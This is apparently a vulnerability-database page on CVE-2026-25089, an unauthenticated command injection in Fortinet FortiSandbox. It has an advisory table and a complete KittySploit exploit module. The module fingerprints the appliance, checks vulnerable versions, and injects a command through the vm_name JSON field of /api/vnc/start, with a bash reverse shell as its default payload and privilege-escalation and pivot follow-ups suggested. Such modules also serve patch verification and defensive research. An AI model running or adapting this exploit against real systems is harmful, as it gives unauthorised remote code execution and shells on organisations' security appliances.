Fortinet FortiSandbox CVE-2026-25089 OS command injection
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| The vulnerability of the graphical user interface of Fortinet’s FortiSandbox and FortiSandbox Cloud systems allows a perpetrator to execute arbitrary commands through specially crafted HTTP requests. | 17 Jun 202600:00 | – | bdu_fstec | |
| CVE-2026-25089 | 10 Jun 202605:00 | – | circl | |
| Fortinet FortiSandbox OS Command Injection Vulnerability | 16 Jul 202600:00 | – | cisa_kev | |
| Fortinet多款产品 操作系统命令注入漏洞 | 9 Jun 202600:00 | – | cnnvd | |
| Fortinet FortiSandbox OS Command Injection Vulnerability (CNVD-2026-25587) | 11 Jun 202600:00 | – | cnvd | |
| CVE-2026-25089 | 9 Jun 202614:27 | – | cve | |
| CVE-2026-25089 | 9 Jun 202614:27 | – | cvelist | |
| EUVD-2026-35443 | 9 Jun 202618:30 | – | euvd | |
| Second-Order OS Command Injection via JSON Input on start vnc feature | 9 Jun 202600:00 | – | fortinet | |
| Fortinet FortiSandbox 4.4.x < 4.4.9 / 5.0.x < 5.0.6 Multiple Vulnerabilities | 3 Jul 202600:00 | – | nessus |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
import re
from typing import Optional, Tuple
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
"name": "Fortinet FortiSandbox CVE-2026-25089 OS command injection",
"description": (
"CVE-2026-25089: unauthenticated OS command injection in the FortiSandbox web UI "
"VNC start handler. Attacker-controlled JSON fields (vm_name, extra) are interpolated "
"into start_vnc.sh without sanitisation (CWE-78)."
),
"author": ["KittySploit Team"],
"cve": ["CVE-2026-25089"],
"platform": Platform.LINUX,
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-25089",
"https://www.fortiguard.com/psirt/FG-IR-26-141",
],
"tags": [
"fortinet",
"fortisandbox",
"command-injection",
"cwe-78",
"rce",
"unauthenticated",
"cve-2026-25089",
],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.CMD,
},
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 2,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals"],
"cost": 1.5,
"noise": 0.5,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": ["fortinet", "fortisandbox"],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": [],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [
{"capability": "rce", "from_detail": ""},
{"capability": "shell", "from_detail": ""},
],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [
"post/shell/multi/gather/privesc_suggester",
"post/shell/multi/manage/pivot_autoroute",
],
},
},
}
port = OptPort(443, "FortiSandbox HTTPS port", True)
ssl = OptBool(True, "Use HTTPS", True, advanced=True)
api_path = OptString(
"/api/vnc/start",
"VNC start API path",
required=False,
)
vm_name = OptString(
"",
"vm_name field override (command injected when empty)",
required=False,
advanced=True,
)
vnc_port = OptString("5900", "vnc_port JSON field", required=False)
extra = OptString("", "extra JSON field (secondary injection point)", required=False)
verify_cmd = OptString("id", "Command used during check()", required=False)
_VERSION_PATTERNS = (
re.compile(r"fortisandbox[^0-9]{0,24}(5\.\d+\.\d+)", re.I),
re.compile(r"fortisandbox[^0-9]{0,24}(4\.\d+\.\d+)", re.I),
re.compile(r'"version"\s*:\s*"(5\.\d+\.\d+)"', re.I),
re.compile(r'"version"\s*:\s*"(4\.\d+\.\d+)"', re.I),
re.compile(r"FortiSandbox\s+v?(5\.\d+\.\d+)", re.I),
re.compile(r"FortiSandbox\s+v?(4\.\d+\.\d+)", re.I),
)
_PROBE_PATHS = ("/", "/login", "/api/vnc/start")
@staticmethod
def _version_tuple(value: str) -> Tuple[int, ...]:
parts = []
for token in re.findall(r"\d+", value or ""):
parts.append(int(token))
while len(parts) < 3:
parts.append(0)
return tuple(parts[:3])
@classmethod
def _parse_version(cls, text: str) -> str:
for pattern in cls._VERSION_PATTERNS:
match = pattern.search(text or "")
if match:
return match.group(1).strip()
return ""
@classmethod
def _is_vulnerable_version(cls, version: str) -> Optional[bool]:
if not version:
return None
major, minor, patch = cls._version_tuple(version)
if major == 5 and minor == 0:
return patch <= 5
if major == 4 and minor == 4:
return patch <= 8
if major == 4 and minor == 2:
return True
return False
@staticmethod
def _looks_like_fortisandbox(body: str, headers: dict) -> bool:
text = (body or "").lower()
if "fortisandbox" in text or "forti sandbox" in text:
return True
blob = " ".join(f"{k}:{v}" for k, v in (headers or {}).items()).lower()
return "fortinet" in blob and "sandbox" in text
def _normalized_api_path(self) -> str:
path = str(self.api_path or "/api/vnc/start").strip()
if not path.startswith("/"):
path = "/" + path
return path
def _build_injection_payload(self, command: str) -> dict:
manual_vm = str(self.vm_name or "").strip()
if manual_vm:
vm_value = manual_vm
else:
vm_value = f"ks-poc; {command}"
return {
"vm_name": vm_value,
"vnc_port": str(self.vnc_port or "5900"),
"extra": str(self.extra or ""),
}
def _post_vnc_start(self, payload: dict):
return self.http_request(
method="POST",
path=self._normalized_api_path(),
json=payload,
headers={
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; KittySploit-CVE-2026-25089)",
},
timeout=max(int(self.timeout or 15), 15),
allow_redirects=False,
)
def _fingerprint(self) -> Tuple[bool, str, str]:
version = ""
evidence = ""
for path in self._PROBE_PATHS:
response = self.http_request(
method="GET",
path=path,
allow_redirects=True,
timeout=max(int(self.timeout or 10), 10),
)
if not response:
continue
body = response.text or ""
headers = dict(response.headers)
if self._looks_like_fortisandbox(body, headers):
evidence = path
parsed = self._parse_version(body)
if parsed:
version = parsed
evidence = evidence or path
if version and evidence:
break
return bool(evidence), version, evidence
def check(self):
detected, version, path = self._fingerprint()
if not detected:
return {
"vulnerable": False,
"reason": "FortiSandbox fingerprint not found",
"confidence": "low",
}
vuln = self._is_vulnerable_version(version)
if vuln is False:
return {
"vulnerable": False,
"reason": f"FortiSandbox {version} appears patched for CVE-2026-25089",
"confidence": "high",
}
reason = "FortiSandbox detected"
if version:
reason = f"FortiSandbox {version} detected at {path}"
if vuln:
reason += "; version within CVE-2026-25089 affected range"
else:
reason += "; version unknown for CVE-2026-25089 range check"
return {
"vulnerable": True if vuln is not False else False,
"reason": reason,
"confidence": "high" if vuln else "medium",
"version": version or None,
}
def run(self):
detected, version, path = self._fingerprint()
if not detected:
print_error("FortiSandbox was not detected on the target")
return False
if version:
print_info(f"FortiSandbox version hint: {version} (seen at {path})")
if self._is_vulnerable_version(version) is False:
print_error(f"Version {version} appears patched for CVE-2026-25089")
return False
command = str(self.payload or "").strip()
if not command:
print_error("No payload configured")
return False
payload = self._build_injection_payload(command)
print_status(f"Sending command injection to {self._normalized_api_path()}")
print_debug(json.dumps(payload, indent=2))
response = self._post_vnc_start(payload)
if not response:
print_error("No response from VNC start endpoint")
return False
code = response.status_code
body = (response.text or "")[:2000]
print_info(f"HTTP {code}")
if body:
print_info(body)
if code in (200, 201, 202, 204, 400, 500, 502):
print_success(
"Injection request accepted; command may execute asynchronously (blind RCE)"
)
return True
print_error(f"Unexpected HTTP status: {code}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.76112
SSVC